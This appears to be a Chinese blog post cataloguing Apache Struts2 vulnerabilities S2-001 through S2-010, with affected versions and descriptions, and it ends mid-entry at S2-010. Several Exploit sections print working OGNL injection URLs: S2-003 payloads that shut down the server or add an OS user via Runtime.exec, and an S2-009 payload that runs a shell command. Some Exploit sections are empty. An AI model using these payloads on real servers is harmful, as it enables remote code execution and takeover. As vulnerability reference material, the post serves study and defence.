java struts2 漏洞_struts2漏洞列表

全栈程序员站长

发布于 2022-09-09 10:34:04

6600

发布于 2022-09-09 10:34:04

文章被收录于专栏：全栈程序员必看

大家好，又见面了，我是你们的朋友全栈君。

【官方ID】S2-001

【危害等级】高

【受影响版本】

WebWork 2.1(开启altSyntax)

WebWork 2.2.0 – WebWork 2.2.5

Struts 2.0.0 – Struts 2.0.8

【漏洞描述】

altSyntax特性默认不开启，开启后，允许在文本串中注入OGNL表达式，且注入的表达式被逐层递归执行。攻击者可以在HTML中text域输入OGNL表达式，当form在服务器验证出错时，OGNL表达式被执行。

【Exploit】

举个例子，下面的form中，含有两个text域，其中，“phoneNumber”要求输入非空串：

用户可以输入如下值：

“name”: %{1+1}

“phoneNumber”:

(blank)

该form提交后，会在server上进行校验，phoneNumber校验出错，返回页面name中的值显示为‘2’，

原因是，altSyntax开启后，name的输入会当做OGNL表达式(%{name})处理，输入%{1+1}后，服

务器实际处理的是%{%{1+1}}。OGNL递归解析，得到%{2}，回显为2.

当用户输入为某个可执行的code时，OGNL解析过程中，导致执行。

【漏洞参考】

http://struts.apache.org/2.x/docs/s2-001.html

XWork 绕过参数拦截器执行OGNL语句

【官方ID】S2-003

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.0.11.2

【漏洞描述】

攻击者可利用该漏洞绕过xwork参数拦截器，获取服务器端上下文信息。原因：内置参数拦截器’#’处理不当。为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使用了Java的

unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值。

【Exploit】

设置#session.use为’0wn3d’：

(‘\u0023’ + ‘session[\’user\’]’)(unused)=0wn3d

URL编码后：(‘\u0023’%20%2b%20’session[\’user\’]’)(unused)=0wn3d

其他exp,未试过：

此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击

?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样：

?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1); //关闭程序，即将web程序关闭

类似的可以执行

java.lang.Runtime.getRuntime().exec(“net

user 用户名密码 /add”);//增加操作系统用户，在有权限的情况下能成功(在URL中用%20替换空格，%2F替换/)

只要有权限就可以执行任何DOS命令。

【漏洞参考】

http://struts.apache.org/2.x/docs/s2-003.html

目录遍历漏洞可以获取服务器静态文件

【官方ID】S2-004

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.0.11.2

【漏洞描述】

原因：struts2分派器设计问题。允许攻击者获取服务器的静态文件，如class目录下的class文件、配置文件。

直接使用框架自带的app就可以。

绕过xwork拦截器，远程命令执行

【官方ID】S2-005

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.1.8.1

【漏洞描述】

s-002中的老洞，后来被爆出很多地方都有：

#context

#_memberAccess

#root

#this

#_typeResolver

#_classResolver

#_traceEvaluations

#_lastEvaluation

#_keepLastEvaluation

【Exploit】

XWork生成的错误页面允许XSS

【官方ID】S2-006

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.2.1.1

【漏洞描述】

XWork默认未过滤action的名字，导致允许xss。

【Exploit】

当使用DMI方式时，action的名字是由URL中的request参数指定的。通过访问一个不存在的jsp页面或调用不存在的方法，产生错误页面，在参数中xss：

这个洞修改了很多次，之前是过滤’

src=src>。

OGNL远程代码执行漏洞

【官方ID】S2-007

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.2.3

【漏洞描述】

转换错误，导致用户输入可以当做OGNL表达式执行。

【Exploit】

struts2多个安全漏洞

【官方ID】S2-008

【危害等级】高

【受影响版本】

Struts 2.1.0 – Struts2.3.1

【漏洞描述】

Remote command execution in

Struts <= 2.2.1.1 (ExceptionDelegator)

老洞，未修改彻底，或者说出现了新的攻击方法。原因：类型转换错误导致OGNL表达式注入任意代码，服务器执行OGNL时触发。kxlzx给了一份详细的分析文档(http://www.inbreak.net/archives/363)。

Remote command execution in

Struts <= 2.3.1 (CookieInterceptor)

cookie拦截器的远程代码执行，比较少用到。cookie拦截器在处理cookiename的时候，会遍历cookiemap，将cookie中的key和value进行OGNL赋值处理：

stack.setValue(cookieName, cookieValue);

//可以看到，cookiename被当做OGNL表达式处理，改对象由用户提交的。通常程序中，会指定一个白名单，只接受指定的cookiename。如果开发人员，将其配置为“*”，允许了用户提交的所有的cookiename。tomcat中已经有处理，攻击无法进行。

//以下为cookieName中不允许的字符

public static final char SEPARATORS[] =

{ ‘\t’, ‘ ‘, ‘\”‘, ‘(‘, ‘)’, ‘,’, ‘:’, ‘;’, ‘<‘, ‘=’, ‘>’, ‘?’, ‘@’,

‘[‘, ‘\\’, ‘]’, ‘{‘, ‘}’ }

Arbitrary File Overwrite in

Struts <= 2.3.1 (ParameterInterceptor)

老外爆出的漏洞，原因看不懂。

Remote command execution in

Struts <= 2.3.1 (DebuggingInterceptor)

发布的web应用程序使用devlopMode。该模式下的DebuggingInterceptor 允许远程代码执行。DebuggingInterceptor 拦截器处理参数时，接收到ognl时，可以直接执行。

【Exploit】

参数拦截器漏洞导致远程命令执行

【官方ID】S2-009

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.3.1.1

【漏洞描述】

ParameterInterceptor 可以bypass，正则表达式中匹配到top[‘foo’](0)，将其当做有效的表达式，OGNL当做(top[‘foo’](0))处理了，而且还把’foo’的参数当做OGNL表达式来处理。攻击者可以将任意的OGNL语句存储在action暴露出的string变量中，由于OGNL语句存在于http参数中，攻击者可以用黑名单中的字符(如’#’)来禁止method直行，绕过参数拦截器和OGNL库的防护措施，直行其他恶意方法。

【Exploit】

假设存在漏洞的Action为

FooAction，代码如下：

//要求Action中有setFoo()、getFoo()方法

public class FooAction {

private String foo;

public String execute() {

return “success”;

}

public String getFoo() {

return foo;

}

public void setFoo(String foo) {

this.foo = foo;

}

//exp：create /tmp/PWNAGE directory

/action?foo=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec(‘mkdir /tmp/PWNAGE’))(meh)&z[(foo)(‘meh’)]=true

//URL编码后：

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

解释

bypass的原理是利用了ognl的执行顺序。

假设有ognl语句如下：

(表达式1)(表达式2)

ognl会首先执行“表达式1”，假设得出结果为“12345”，后续流程，会把“12345”作为一个表达式再次执行。

在早期的远程代码执行漏洞修补中，会判断参数名称是否安全，而这里的参数名称叫做“foo”，这当然是安全的。Exp的第二个字段：

&z[(foo)(‘meh’)]=true

这里写的非常复杂，其实还是那个原理，foo在第一个字段中，已经被赋值了，这里直接使用foo的值，作为新的表达式，再次执行掉了。

CSRF防护绕过

【官方ID】S2-010、CVE-2012-4386

【危害等级】高

【受影响版本】